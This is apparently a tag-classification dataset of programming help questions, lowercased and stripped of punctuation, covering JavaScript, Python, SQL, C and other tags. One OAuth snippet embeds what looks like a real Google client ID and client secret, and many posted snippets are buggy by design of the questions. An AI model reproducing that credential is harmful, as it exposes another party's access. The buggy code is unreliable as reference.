i need to change something that effects the main statements.    any help is appreciated.,objective-c
mobile phone : automatic call function  good day everyone     i would like to ask if it is possible to automatically call the dialed number in mobile..    here s my code.   <pre><code>    &lt;a href= tel:111-111-1111  data-rel= external  &gt;call now!  111-111-1111&lt;/a&gt; </code></pre>   the code is only dialing the number 111-111-1111.. but what i want is after dialing the number  the mobile will do the call function... is it possible in javascript,javascript
error: invalid_client the oauth client was not found for youtube analytics app script add on <pre><code>var authorize_url =  https://accounts.google.com/o/oauth2/auth ; //step 1. we can actually start directly here if that is necessary var token_url =  https://accounts.google.com/o/oauth2/token ; //step 2. after we get the callback  go get token  var client_id = scriptproperties.getproperty( 787853180530-2792spp2fgs0j7tsc2jph2ur6297tmft.apps.googleusercontent.com ); var client_secret = scriptproperties.getproperty( v9mzydrwcgcdswdf6x2aju0h );  //put your url here - var redirect_url =  https://script.google.com/macros/s/akfycbyfabjd1uuo3nnxavvlfvapcrnjw7djkbmcf3x9nzhgpmxzbrm/exec ;   var oauthtokenpropertyname =  google_oauth_access_token ; var oauthtokenexpirespropertyname =  google_oauth_access_token_expires ; var refreshtokenpropertyname =  google_oauth_refresh_token ;   function geturlforauthorization() {     return authorize_url +      response_type=code&amp;client_id=  + client_id +  &amp;redirect_uri=  + redirect_url +      &amp;scope=https://www.googleapis.com/auth/yt-analytics.readonly&amp;approval_prompt=force&amp;access_type=offline&amp;state=/profile ; }  function getandstoreaccesstoken(code) {     var parameters = {         method:  post           payload:  client_id=  + client_id +  &amp;client_secret=  + client_secret +  &amp;grant_type=authorization_code&amp;redirect_uri=  + redirect_url +  &amp;code=  + code     };      var response = urlfetchapp.fetch(token_url  parameters).getcontenttext();     storeoauthvalues_(response); }  function geturlfetchoptions() {     var token = userproperties.getproperty(oauthtokenpropertyname);     return {          contenttype :  application/json            headers : {              authorization :  bearer   + token               accept :  application/json          }     }; }  function attempttokenrefresh_() {     var refreshtoken = userproperties.getproperty(refreshtokenpropertyname);     if (!refreshtoken) {         logger.log( no refresh token available to refresh with   + refreshtokenpropertyname);         return false;     }     var requestdata = {         method:  post           payload: {             client_id: client_id              client_secret: client_secret              refresh_token: refreshtoken              grant_type:  refresh_token          }     };     logger.log( attempting token refresh );     var response = urlfetchapp.fetch(token_url  requestdata).getcontenttext();     storeoauthvalues_(response);     return true; }  function storeoauthvalues_(response) {     var tokenresponse = json.parse(response);      var accesstoken = tokenresponse.access_token;     // expires_in is in seconds and date.now is ms     var endms = date.now() + tokenresponse.expires_in * 1000;     var refreshtoken = tokenresponse.refresh_token;      //store the token for later retrieval     userproperties.setproperty(oauthtokenpropertyname  accesstoken);     if (refreshtoken) { //on a refresh call we wont get a new refresh token    lets not wipe prev one out         userproperties.setproperty(refreshtokenpropertyname  refreshtoken);     }     userproperties.setproperty(oauthtokenexpirespropertyname  endms); }  function isoauthed() {     if (hasvalidtoken_()) {         logger.log( valid oauth token found );         return true;     } else {         try {             return attempttokenrefresh_();         } catch (e) {             logger.log( failed to refresh token with error:   + e);             return false;         }     } }  function hasvalidtoken_() {     if (!istokenpresent_()) {         return false;     }     return (!istokenexpired_()); }  function istokenexpired_() {     var expirationtimems = userproperties.getproperty(oauthtokenexpirespropertyname);     if (!expirationtimems) {         return true;     }     expirationtimems = number(expirationtimems);     var threshold = date.now() + 30000;     return (expirationtimems &lt; threshold); }  function istokenpresent_() {     var token = userproperties.getproperty(oauthtokenpropertyname);     if (!token) { //if its empty or undefined         return false;     }     return true; } </code></pre>,javascript
on first occurrence of string write function writes nothing  the function:   <pre><code>def newstr(string  file_name  after):     lines = []     with open(file_name   r ) as f:         for line in f:             lines.append(line)     with open(file_name   w+ ) as f:         flag = true         for line in lines:             f.write(line)             if line.startswith(after) and flag:                 f.write(string+ \n )                 flag = false </code></pre>   what im running is   <pre><code>newstr( hello    test.txt    new code( ) </code></pre>   test.txt contents:   <pre><code>package example.main;  import example public class main {     public static void main() {         new code( &lt;random&gt; );         new code( &lt;random&gt; );     }     } </code></pre>   what i expect:   <pre><code>package example.main;  import example public class main {     public static void main() {         new code( &lt;random&gt; );         hello         new code( &lt;random&gt; );     }     } </code></pre>   but when i run the script nothing changes.,python
help with putting a list in sql database!  i need to add a list into a sql database. basically  the list needs to be a predefined list of locations that something could be shipped to. any idea,sql
c# taking arguments & declaring at runtime from text file  i have a text file with the following:   <pre><code>int a = 5 ; string str =  tempstring  ; str dosomemethod 15 16 20 22 ; </code></pre>   when reading the text file thru my program  i want to declare <code>int a = 5</code> &amp; <code>string str =  tempstring </code> at runtime.    it can be like   <pre><code>string[] st = freader.readline().split(   ); if (st[0]== int )     {       str[0] str[1] = str[4];     } </code></pre>   i know that the above is the wrong syntax but i want to do something like this with some reference.    can anybody help without using irony .net,c#
optimizing my game app  i want to create a game. backgammon. i used to design my nuts and board in photoshop. i saved nut as png. and board as jpg. for per that i have in game i created a picture box   and i bound png picture to that. i know that this way is not correct. please give me tips and guidelines.   <hr>   seems my question is too general. i change my question. what element do i replace instead of pictureboxes  what is the way for moving nuts  for good performance and memory usage. i putted my board in a panel and panel s dock is fill in my form. but i know its not correct to put 30 picture boxes in form and moving them. my game is 2d. my challenge is to keeping nuts and moving them. better way that using pictureboxes,.net
when link is clicked it does not go to the proper link. how to i prevent link from redirecting   i have an href that has a full link  but is only taking the child pages and adding the to current parent site. i want it to go to the full link in href.     i.e.  link on test.example.com href=“www.example.com/some_page goes to test.example.com/some_page,html
select and option tag i.e dropdown in html show complete list  i have 25-30 options in my <code>&lt;select&gt; &lt;/select&gt;</code> tag  when i click on the select from drop down list. i get the list of first 20 options only and after that i have to scroll down the the list to select onwards i.e. for 21 to further.    but my requirement is that when click on dropdown to select  the complete list should be shown that is all 25-30 options should be shown  no scroll bar.    pleae help me.. i had done lot of googling on it  but not got any solution.,html
iterating through javascript objects  i m trying to loop over a list objects  but when the limit of products changes more than 1 item it gives me a error:   <blockquote>     uncaught syntaxerror: unexpected token {   </blockquote>   code:   <pre><code>var itemslist = function (limit) {     var request = new xmlhttprequest();     request.open( get    http://domain.com/api/items limit=  + limit +   );     request.onreadystatechange = function () {         if ((request.readystate === 4) &amp;&amp; (request.status === 200)) {             var item = json.parse(request.responsetext);              for (var prop in item) {                 console.log( o.  + prop +   =   + item[prop]);             }         }     };     request.send(); };  itemslist(2); </code></pre>,javascript
should verify that the value age the user enters is considered valid  lying in the range between 0 and 150.and it should use the.matches(<...>) method <pre><code>    import java.util.scanner; public class validage {     public static void main(string args[])     {         scanner scan = new scanner(system.in);         string s = scan.nextline();         age(s);      }     public static void age(string s)     {          if(s.matches( [0-150]{1 3} ))         {             system.out.println( age is valid );         }         else         {             system.out.println( age is not valid );         }     } } </code></pre>   i cant make it to print not valid age when the user inputs 150+ and same print statement when ages entered is negative. all of this has to be done using the .matches(&lt;..>) method. this is what i have done.,java
what is the easiest way to know the namespace of a class in php   im wondering what is the easiest way to know the namespace of a class in php. for example i want to know the namespace of <code>recursivearrayiterator</code>.,php
declaring zero size vector  what does the following mean    <pre><code>struct foo { ... char  bar[0];    // zero size    }; </code></pre>   i asked my colleagues and they told me it s the same as writing <code>void* bar</code>.    as far as i know a c pointer is just a 4 byte variable (at least on a 32bit machine). how can the compiler know that bar[0] is a pointer (and thus 4 bytes long)  is that just syntactic  sugar,c
server datetime issue -> client get bad experience  if server is located in us and website user is from asia  when user add a new comment  he sees that the comment is added 10 hours ago because there is 10 hours timing difference in asia and us.    what i want to do is when displaying comment  automatically convert date time to the time of target country or region where user come from.    <ul> <li>track user region/country </li> <li>datetime in any webpage should be converted to that country time</li> </ul>   so that i can display user that he posted comment a few second ago...,asp.net
jquery focus not working on input  want to trigger the focus event on new loaded text input field  but it is not working. have tried following   <pre><code>settimeout(function() { jquery( #element ).focus() }  3000); jquery( #element ).focus(); document.getelementbyid( element ).click(); jquery( #element ).trigger( click ); </code></pre>,jquery
correcting a selector error in ios obj.c  i am using ios 6.1  have a question on an error.     regfile  used as the name of the previous parameter rather than as part of the selector.     a white space after regfile:   ....   regfile : clears the error but i would like to understand how to fix this. the white space clears the error but negates the method      <img src= https://i.stack.imgur.com/hdpeh.png  alt= white space eliminates error but negats method >   <pre><code>#import &lt;foundation/foundation.h&gt;  @class filehandle;  @interface filehandle : nsobject {   nsarray *paths;   nsfilemanager *filemanager; }  - (nsstring *)getsyncfilename; - (void)createbarcodedirectory; - (void)readregistry:(nsstring *)regfile :(char *)regdata;  // whitespace after regfile clears error but negates the method   - (void)saveregistry:(nsstring *)regfile:(char *)regdata :(nsstring *)regstring; - (nsstring *)readdatafromfile :(int)path :(nsstring *)filename :(char *)data; - (void)writedatatofile :(int)path :(nsstring *)filename :(nsstring *)data :(nsstring *)content; - (nsarray *)getfilelist :(int)path; - (nsstring *)getdirectory:(int)path;  @property (nonatomic  retain) nsarray *paths; @property (nonatomic  retain) nsfilemanager *filemanager; @end </code></pre>,objective-c
how do i repeat a for loop while maintaining values from the previous for loop   i have written a function for gradient descent and am stuck on figuring out how to repeat the for loop  iters  times. x is a 2d array and y is a 2d array. y is the target value and x is the data that corresponds to the target value. i want to iterate through both simultaneously hence the zip() in the for loop  but i also want to be able to repeat iterating through x and y but with the updated coefficients.    i tried wrapping the for loop in a while loop  but i get an error saying that the zip argument #2 must support iteration. i m assuming that what is happening is that once the for loop iterates through the 2 ndarrays  the compiler cannot  reset  and loop through the arrays again. am i correct and how do i fix this     <pre><code>def gradient_descent_lr(x y alpha iters):     x_coef = 0     y_int = 0     coef_list = []      for x  y in zip(x y):         #evaluate func (0 first)         f_eval = (x_coef * x) + y_int         #find error         error = f_eval - y         #update coefficients         y_int = y_int - (alpha*error) #adjust bias coefficient by the error         x_coef = x_coef - (alpha*error*x)         coef_list.append((float(y_int) float(x_coef)))  return coef_list </code></pre>   edit:     nevermind  i figured out that the problem wasn t in iterations  the problem was in having the variable name being y in both the argument and in the for loop. you can close this question.,python
get combinations of true and false in a given length  i want to get combinations of true/false in <em>n</em> length (the order does not matter).    so if the length is 3  the result would be: <code>[[true  true  true]  [true  true  false]  [true  false  false]  [false  false  false]]</code>    and if it would be 2  then the result would be:    <code>[[true  true]  [true  false]  [false  false]]</code>    how would i do this  i tried using <code>itertools.product</code>  but it also lists for example <code>[true  false]</code> and <code>[false  true]</code>  while it should just make one of them (so switching the order of elements in arrays wouldn t result in duplicates).,python
two versions of apache commons - use specific one  i m writing an ftp client plugin for a open source etl utility (pentaho data integration).  pdi uses an old version of the apache commons net jar by default  and i need functionality that is provided by the newer versions.    i d prefer not to affect everything in pentaho by replacing the old jar with the new one.  is it possible for me to keep them along side each other and just tell my new code to import specifically from the new jar i added,java
centering absolute text over image with darkened background  ok so i need to position text overtop of a slider and have a darkend background behind the text so that it s readable. simply using text-align: center doesn t work in this instance as the darkened background takes up the entire page width     <a href= http://codepen.io/seanpeterson/pen/woerxb editors=1100  rel= nofollow noreferrer >http://codepen.io/seanpeterson/pen/woerxb editors=1100</a>   <pre><code>.wrapper h4{     position: absolute;     top: 50%; /* would love to get rid of this! */     color: red;     margin: auto;     width: 100%;     background: rgba(0  0  0  0.5);     padding: 1rem;  }  .wrapper{     position: relative;     width: 100%;     text-align: center; } </code></pre>   so the only solution to this that i could think of was to position it using the left and right css properties. so in this case i put left and right to 40% each.     <a href= http://codepen.io/seanpeterson/pen/woerxb editors=1100  rel= nofollow noreferrer >http://codepen.io/seanpeterson/pen/woerxb editors=1100</a>   <pre><code>.wrapper h4{     position: absolute;     top: 50%;     color: red;     margin: auto;     left: 40%;     right: 40%;     background: rgba(0  0  0  0.5);     padding: 1rem; } </code></pre>   the problem though is that this has to be a dynamic page and work for all of the different screen sizes. using this method i would have to code in the values for all the screen sizes i can come up with ... just seems like it s not an eloquent solution to me. plus i m also running into the issue now where the absolute text overlaps other elements if the user increases page zoom.    i m still a noob so i m hoping there s a better way to do this     thanks guys!,css
case types character varying and boolean cannot be matched  the code i wrote is    <pre><code>case      when employee_today = employee_today then employee_today     when employee_today = null then employee_today = employee_yesterday         else  null          end as source  count(*) as total_count </code></pre>   i ve tried the ::varchar but it does not seem to want to cooperate  any suggestions,sql
difference between *p++ and *p++=*q  in this code  if i write   *p++=*q   instead of   *p++   nothing changes. why    <pre><code>int a[10]={1 2 3 4 5 6 7 8 9 10}; int *p=a  *q=&amp;a[8];  *p++;  printf( %d  \n   *p); printf( %d  \n   *q); printf( %d  \n   p); printf( %d  \n   q); </code></pre>,c
retrieve arguments for android:entries  i m subclassing the <code>spinner</code> class  and i need to get the objects specified in the xml file by <code>android:entries</code>. how can i do that    <pre><code>&lt;com.myapp.myspinner     android:layout_width= match_parent      android:layout_height= wrap_content      android:entries= @array/myarray /&gt; </code></pre>   so i need either the array specified in the <code>entries</code> argument  or the resourceid so i can fetch them myself.,android
rails render method takes content: argument   the render method in rails has a lot of defaults and i can t find a unified documentation.    why does this:   <pre><code>render  modal_new   content: @content </code></pre>   work  i can t find where content: is a valid argument name. i believe the effect is something like locals: {content: @content}. but not sure how!,ruby-on-rails
php secure hashing  so i have a small issue over php. i think i ve messed the foreach loops a bit. here s the code:   <pre><code>&lt; php  error_reporting(0);  class hash{    public function hashing($password $hashsum)   {       $iter = date( sh );       $poyl = array($iter strrev($iter));       foreach ($poyl as $key) {         $itg = array( 1   2   3   4   5 ); # if == any array element         foreach($itg as $v){           if ($key == $v){ # has to be checked here             $algo =  tiger128 3 ;         } elseif ($key == rand(31 60)){             $algo =  haval128 4 ;           } # else         }       } # foreach       return hash($algo $password.strtok($password  7 ));   } }  $obj = new hash(); print $obj-&gt;hashing( text  hash($algo $password.strtok($password  7 ))); </code></pre>   what i aim to achieve here is the following: this is supposed to be a class that would calculate semi-polymorphic hash values. in order for this kinda false polymorphism to work  i need to at least have two different hashing algorithms. (<em>establishing dependency and correlation with a database would be considered afterwards</em>).    so my problem is that i need to perform a check that would determine whether the first character (integer in this case) is equal to any of the elements in the <strong>$itg</strong> array (or if it s equal to any number ranging 1-30). if so  the algorithm will be <strong>tiger128 3</strong>; if not (and first character of the date variable is equal to any value ranging 31-60) then algorithm applied should be <strong>haval128 4</strong>.    the code is totally messed up. i m using the date function to generate integers and compare them afterwards because i couldn t think of anything that fast (means this will defo be changed).,php
c++ class name does not name a type <pre><code>#ifndef main_h_included #define main_h_included #include  setup.h  #include  maincharacter.h   class main {  public:     main(int pscreenwidth  int pscreenheight);     ~main();  void gameloop();  private:     bool quit;     setup* setup;      maincharacter* tom;      int screenwidth;     int screenheight;      int mousex;     int mousey; }; #endif // main_h_included </code></pre>   i saw the other topics on this  but the error im getting is not of the same type  how can it tell me that    <pre><code>setup* setup; maincharacter* tom; </code></pre>   does not name a type when the includes are above   im using code::blocks if that matters.    edit://////////////////////    this is the setup header:   <pre><code>#ifndef setup_h_included #define setup_h_included  #include &lt;sdl.h&gt; #include &lt;sdl_image.h&gt; #include &lt;sdl_mixer.h&gt;  #include  main.h  #include  sprite.h   class setup {  public:     setup(int screenwidth  int screenheight);     ~setup();      sdl_renderer* getrenderer();     sdl_event* getevent();  private:     sdl_window* window;     sdl_renderer* renderer;     sdl_event* event; };  #endif // setup_h_included </code></pre>   and this is the maincharacter header:   <pre><code>#ifndef maincharacter_h_included #define maincharacter_h_included  #include  sprite.h  #include  setup.h  #include &lt;cmath&gt;  class maincharacter {  public:     maincharacter(setup* psetup  int* pmousex  int* pmousey);     ~maincharacter();      double getdistance(int x1  int y1  int x2  int y2);      void update();     void draw();  private:     sprite* shagy;      ///some variables are here/////      setup* setup; };  #endif // maincharacter_h_included </code></pre>   there are setup.cpp and maincharacter.cpp files and they got a long code written on them  the only thing i inclue in setup.cpp is setup.h and maincharacter.cpp i only include maincharacter.h,c++
insert update in multiple tables in edmx files when table have relationship  how can i insert  and update data in mutiple tables when tables have the base derived relation ship  in database through entity framework modal (.edmx )     i am trying with below code but its not working .   <pre><code>public bool facilityregistrationverification(facilityregistration ofacilityregisteration)         {                    {                 using (levytaxentities context = new levytaxentities())                 {                     var cast = context.facilityregistrations.where(x =&gt; x.facilityid == ofacilityregisteration.facilityid).single();                     cast = ofacilityregisteration;                     context.savechanges();                 }            }         } </code></pre>,.net
force link to open in chrome  i have a html file on my server with a link to it from outlook.     is there a way in html or javascript to force the page to always open in chrome. i know the systems have chrome installed by default.,html
iphone: issue when adding json nsstring into nsmutablearray  i am setting a json output like below. it is a nsstring.   <pre><code>    mynsstring = {     title = firstone;     titleno = 95; }  mynsstring = {     title = secondone;     titleno = 96; } </code></pre>   i have to add like the above json multiple strings into an nsarray (or) nsmutablearray. i am trying to add in nsmutablearray. when i want to add like the above json string into an nsmutablearray  the output comes like below  with \n  .   <pre><code>[outnsmutablearray addobject:[nsstring stringwithformat:@ %@   mynsstring] ];      (          {\n  \ title\  : \ firstone\  \n  \ titleno\  : \ 95\ \n}            {\n  \ title\  : \ secondone\  \n  \ titleno\  : \ 96\ \n}      ) </code></pre>   i want this to be like below  without  \n \  added.    <pre><code>[ { title : firstone   titleno :95} { title : secondone   titleno :96}] </code></pre>   how can i correct this  could someone help,iphone
sendgrid api giving  i am using sendgrid api to send email but its showing error  the remote server returned an error: (400) bad request.  and in catch block result giving message  { errors :[ bad username / password ]  message : error } . i am using below code :-   <pre><code>        string api_user =  apiuser ;         string api_key =  key ;         string toaddress =  test@test.com ;         string toname =  to name ;         string subject =  a message from sendgrid ;         string text =  delivered by your friends at sendgrid. ;         string fromaddress =  from@example.com ;          string url =  https://sendgrid.com/api/mail.send.json ;          // create a form encoded string for the request body         string parameters =  api_user=  + api_user +  &amp;api_key=  + api_key +  &amp;to=  + toaddress +                               &amp;toname=  + toname +  &amp;subject=  + subject +  &amp;text=  + text +                              &amp;from=  + fromaddress;          try         {             //create request             httpwebrequest myhttpwebrequest = (httpwebrequest)httpwebrequest.create(url);             myhttpwebrequest.method =  post ;             myhttpwebrequest.contenttype =  application/x-www-form-urlencoded ;             //myhttpwebrequest.contenttype =  text/xml ;              // create a new write stream for the post body             streamwriter streamwriter = new streamwriter(myhttpwebrequest.getrequeststream());              // write the parameters to the stream             streamwriter.write(parameters);             streamwriter.flush();             streamwriter.close();              // get the response             httpwebresponse httpresponse = (httpwebresponse)myhttpwebrequest.getresponse();              // create a new read stream for the response body and read it             streamreader streamreader = new streamreader(httpresponse.getresponsestream());             string result = streamreader.readtoend();              // write the results to the console             //console.writeline(result);         }         catch (webexception ex)         {             // catch any execptions and gather the response             httpwebresponse response = (httpwebresponse)ex.response;              // create a new read stream for the exception body and read it             streamreader streamreader = new streamreader(response.getresponsestream());             string result = streamreader.readtoend();             return result;             // write the results to the console             //console.writeline(result);         } </code></pre>,.net
replace in html file  i am using following code. it displays only html file in  list box  i want to replace figure 1  figure 1.2  figure 2  figure 2.1 so on ....... with figure 1 ........... in output    please help me   <pre><code> public partial class form1 : form {     public form1()     {         initializecomponent();     }      private void button1_click(object sender  eventargs e)     {         fileinfo file = new fileinfo(textbox1.text);         streamreader stread = file.opentext();         while (!stread.endofstream)         {             listbox1.items.add(stread.readline());         }     } } </code></pre>   output   <pre><code>&lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body&gt; &lt;div&gt; &lt;p class= epigraph &gt; very figure 1 but thanks to you  we won&amp;#x0027;t do it &lt;/p&gt; &lt;p class= epigraph-right &gt; birthday figure 1.1  milton friedman  november 8  2002&lt;/p&gt; &lt;p class= indent &gt;not figure 2 able to take it any longer new york &lt;/p&gt; &lt;p class= indent &gt;mr. cutler figure 2.1 of the parallel plunges&lt;/p&gt; &lt;/body&gt; &lt;/div&gt; &lt;/html&gt; </code></pre>,c#
gridview removing row too soon  i m using a gridview that fills the whole of my main activity. to make it look nicer i m using a transparent action bar. i m using these values on my grid view so that the content doesn t start in the action bar but still scrolls through it:   <pre><code>android:paddingtop=  android:attr/actionbarsize  android:cliptopadding= false  </code></pre>   the only problem is once the bottom of the row enters the action bar it disappears. i m assuming because android thinks it is no longer visible so it s safe to remove.     i d like a way for it to not disappear  even past the status bar as i ll probably make that transparent on kitkat too. either a different approach or a simple solution would be great.,android
iphone custom slider moves both way  *<img src= https://i.stack.imgur.com/dbt1r.jpg*  alt= in ios custom slider  > how can i make this type of custom  slider in iphone  which can be extend from both left and right side,ios
deleting duplicate rows   i want to delete duplicate rows from my table on the basis of category id  but don t want to delete all  i want to left one rows if there are more than one row with the same category id.    this is my query i am making i need to change it.   <pre><code>delete from twinhead_tblcategory  where categoryid in (select categoryid from twinhead_tblcategory group by categoryid having count(categoryid) &gt; 1 ) </code></pre>,sql
multiple selection problem in a list box  is there any way through which we can get all the selected values in a list box,html
simple program compile error with c   too few arguments  for  fgets   i m learning c from a textbook but cannot see why this does not compile. code::blocks states there is too few arguments at  fgets . i am assuming  buffer  is storing keyboard input to volatile memory &amp; fgets should be waiting for arguments from input &amp; enter.    any help &amp;/or explanation much appreciated if possible! thanks   <pre><code>/*ex02-05.c*/ #include &lt;stdio.h&gt; #include &lt;string.h&gt; int main(void)  {     char buffer[256];     printf( enter your name and press enter:\n );      fgets(buffer);      printf( \nyour name has %d characters and spaces               strlen(buffer));      return 0; } </code></pre>,c
how to use custom mkannotationview in viewcontroller  <a href= https://stackoverflow.com/questions/28074620/swift-custom-mkannotationview-set-label-title >swift - custom mkannotationview  set label title</a>    this link tells me how to create the custom annotation.  i am new to ios app.  trying to understand how to use this in the code. i want to change the font in the call and have 2 lines instead of one.  it appears this class can do all that  but i do not know how to use this in the view controller to change the font.  currently  this is what i have and have created the class as suggested in the link:   <pre><code>let annotation = mkpointannotation() annotation.coordinate = coordinate                annotation.title=title self.map.addannotation(annotation) </code></pre>   how do i change this to use the custom class     thanks    ram,ios
cannot get height of text  i have textarea. on buttonclicking i alert    <pre><code>alert($( #textarea1 ).scrollheight); </code></pre>   but i get undefined. how to get it,jquery
when i use dismissviewcontrolleranimated   i got exc_bad_access  i got an error <code>exc_bad_access</code> when i use <code>dismissviewcontrolleranimated</code>    the <code>presentviewcontroller</code> code is:   <pre><code>testviewcontroller *testviewcontroller=[[testviewcontroller alloc] init]; uinavigationcontroller *nav=[[uinavigationcontroller alloc] initwithrootviewcontroller:testviewcontroller]; [self presentviewcontroller:nav animated:yes completion:^{     nslog(@ presentviewcontroller is finish ); }]; </code></pre>   but when i remove <code>uinavigationcontroller</code>  is error is disappear.    like this:   <pre><code>testviewcontroller *testviewcontroller=[[testviewcontroller alloc] init]; [self presentviewcontroller:testviewcontroller animated:yes completion:^{     nslog(@ presentviewcontroller is finish ); }]; </code></pre>   thanks for help.,ios
how can i keep a data table thorough out my page   hii     i have a data table  and this datatable will be dynamically manipulated. after certain manipulation at the end we will populate that to the database. which state mechanism can i use for this to retain. i have tried both session and viewstate but viewstate can t use with ajax rich appplications. session will be clear after the user session. i can t afford both these difficulties. does any other mechanism to keep the datatable through out the page.,asp.net
does setting the base sdk to the latest version really make sense   the advice from apple is to always set the base sdk for iphone/ipad projects to the latest installed version of the os. at the current time this would be ios 4.0  although 4.0 is only just about to be released so the vast majority of users will still be using 3.x. obviously there will be features and functions available in 4.0 which don t exist in 3.x  however i would still like to support 3.x users for obvious reasons.    suppose i am using some 4.0 specific features. if my base sdk is set to 4.0 and my deployment target is set to 3.1.x  my project will compile just fine. however  unless i ve got specific code in there testing to see if certain features can be used  i will experience a crash on 3.1.x.    but what if i don t know that this function doesn t exist in 3.1.x  will i only find this out by experiencing a crash on that particular screen  what if the function is buried deep within my app  or only appears in very specific situations  or what if i m a new developer who starts coding on 4.0  and doesn t really know the ins and outs of 3.x  i suppose the obvious answer would be to set the deployment target for 4.0  but i suspect a lot of end users will be sticking on 3.1.x for a while so that s not ideal.    am i missing something about how this all works  of course i need to test my app fully in 3.1.x  but it seems crazy that i don t get any sort of compiler assistance. it s really not that inconceivable that something will slip through at some point. perhaps i can temporarily set the base sdk back to 3.1.x every now and again,iphone
associations between 3 models in rails  i m trying to set up the associations for my models and rails  and hit something i haven t been able to figure out with the documentation    my tables:   <pre><code>groups   id  group_users   group_id   user_id  group_messages   group_user_id   message </code></pre>   i would like to be able to find group_messages with a group.  one way is to find all group_users in the group  then search for group_messages from those group_user_id s  but i don t think that would be the most efficient.  is there a better way to set this up so i can search for group_messages directly with the group     thanks,ruby-on-rails
getting object out of a listview with a customadapter android  i ve got a custom adapter like this:   <pre><code>public class deviceadapter extends baseadapter {  private static arraylist&lt;device&gt; availabledevices; context c; private layoutinflater minflater;  /**  * constructor for this class  * @param context which context triggered this class  * @param devices object of each devices  */ public deviceadapter(context context  arraylist&lt;device&gt; devices) {     this.availabledevices = devices;      this.c = context;      minflater = layoutinflater.from(c); }   public int getcount() {     return availabledevices.size(); }   public object getitem(int position) {     return availabledevices.get(position); }  public long getitemid(int position) {     return position; }  public view getview(int position  view convertview  viewgroup parent) {     viewholder holder;     if (convertview == null) {         convertview = minflater.inflate(r.layout.device_list  null);         holder = new viewholder();         holder.name = (textview) convertview.findviewbyid(r.id.name);         holder.address = (textview) convertview.findviewbyid(r.id.address);          convertview.settag(holder);     } else {         holder = (viewholder) convertview.gettag();     }      holder.name.settext( device name:  +availabledevices.get(position).getname());     holder.address.settext( mac-address:  + availabledevices.get(position).getaddress());       return convertview; }   static class viewholder {     textview name;     textview address;  } </code></pre>   }    my question is: how can i access an objects variable <code>name</code> where the user presses,android
how to compare two different data type variables in where condition of sql query  i have one column which is <code>integer</code> in first table and second is <code>varcha</code>. now i need to compare these 2 variables which are of different data types and retrieve data if it matches.     please could please help me out how to work on this,sql
correct way to display current date/time in ios app and keep it up to date  i m wondering this primarily out of the theory/performance side of things  but if i needed to display the current date/time in a uilabel or something  and then keep it up to date (say  down to the minute)  what is the most correct way to do so     i ve seen various examples online of  clock  apps that basically just have a recursive method that runs with a 1 second delay between invocations.  another option would be to create a repeatable timer and add it to the run loop.  there are probably a variety of other ways to do this as well.  is there one way that is better than the others,objective-c
weird runtime error  i am having trouble running my very bare c++ program. it is a bigint class that takes in a string as input and sets each individual number into a dynamic array. all i am trying to do so far is input a bigint and then output it...very simple. my program compiles and runs just fine but once i enter my first input it gives me this weird error... this application has requested the runtime to terminate it in an unusual way. please contact the application s support team for more information.      i am not sure what to do about this problem seeing that i cannot find any flaws in my code.    anyone have any ideas     heres my code:    header file:   <pre><code>#ifndef bigint_h #define bigint_h  #include &lt;iostream&gt;  namespace jhall{ class bigint { public:     bigint(std::string s =   );     bigint(const bigint&amp; b);     ~bigint();     void operator =(const bigint&amp; b);     friend std::istream&amp; operator &gt;&gt;(std::istream&amp; in  bigint&amp; b);     friend std::ostream&amp; operator &lt;&lt;(std::ostream&amp; out  const bigint&amp; b);  private:     short* num;     int cap;     int size;  }; } #endif  /* bigint_h */ </code></pre>   implementation file:   <pre><code>#include  bigint.h  #include &lt;cstdlib&gt;  namespace jhall{ bigint::bigint(std::string s)  {     size = s.length();     cap = 100;     num = new short[cap];     int place = 0;     for(int i = size-1; i &gt;= 0; i--)         num[place++] = strtol(s.substr(i-1 1).c_str()  null  10); }  bigint::bigint(const bigint&amp; b)  {     size = b.size;     cap = b.cap;     for(int i = 0; i &lt; size; i++)         num[i] = b.num[i]; }  bigint::~bigint()  {     delete [] num; }  void bigint::operator =(const bigint&amp; b) {     if(cap != b.cap)     {         short* temp = new short[b.cap];         for(int i = 0; i &lt; b.cap; i++)             temp[i] = b.num[i];         delete [] num;         num = temp;     }      for(int i = 0; i &lt; cap; i++)         num[i] = b.num[i];      size = b.size;     cap = b.cap; }  std::istream&amp; operator&gt;&gt;(std::istream&amp; in  bigint&amp; b) {     std::string s;     in&gt;&gt;s;     b.size = s.length();     int count = 0;     for(int i = b.size-1; i &gt;= 0; i--)         b.num[count++] = strtol(s.substr(i-1 1).c_str() null 10);     return in; }  std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out  const bigint&amp; b) {     for(int i = b.size-1; i &gt;= 0; i--)         out&lt;&lt;b.num[i];     return out; }  } </code></pre>   main file:   <pre><code>#include &lt;cstdlib&gt; #include  bigint.h   using namespace std; using namespace jhall;  /*  *   */ int main(int argc  char** argv)  {     bigint b1  b2;     cout&lt;&lt; enter a large integer &lt;&lt;endl;     cin&gt;&gt;b1;     cout&lt;&lt; enter another large integer &lt;&lt;endl;     cin&gt;&gt;b2;      cout&lt;&lt;b1;     cout&lt;&lt;b2;       return 0; } </code></pre>,c++
develop an ios app for website (like news reader app)  i have a website that publish news    i want to develop an ios app that support website above like as a news reader. readers can read  comment  like  share / email / save article via app. they don t need browsers (safari  chrome ...) on ios.    i have no idea how client (ios app) can get data from server (website)  how can they communicate together      thanks !,ios
how to generate a specific file for each csv column   i have a large csv file with multiple columns of integer values:   <pre class= lang-none prettyprint-override ><code>1122  2222 3333 6664 4588  2122 5555 7747 1155  8844 1147 8895 ....  .... .... .... </code></pre>   i want to generate for each column a specific file in this format. let s have an example of column 1:   <pre><code>sudo google-chrome -c -a tt1 sudo google-chrome -a tt1 -d 1122 -u 1122  sudo google-chrome -c -a tt1 sudo google-chrome -a tt1 -d 4588 -u 4588  sudo google-chrome -c -a tt1 sudo google-chrome -a tt1 -d 1155 -u 1155 </code></pre>   until values of column 1 finish and we store it in specific file.    the same process should be repeated for all columns. at the end  each column will have its corresponding file in format  columnx.sh .     how can we reach this functionality using python,python
to implement xml editor with angularjs  i am working on angularjs based web application. i want to implement xml editor in my application. i tried to find out the solution unfortunately  didn t any solution. can anyone help to do the same     thanks,angularjs
how to call void function in other class   i want to call one void function into many view controllers so how can i do it  please suggest me some idea.,iphone
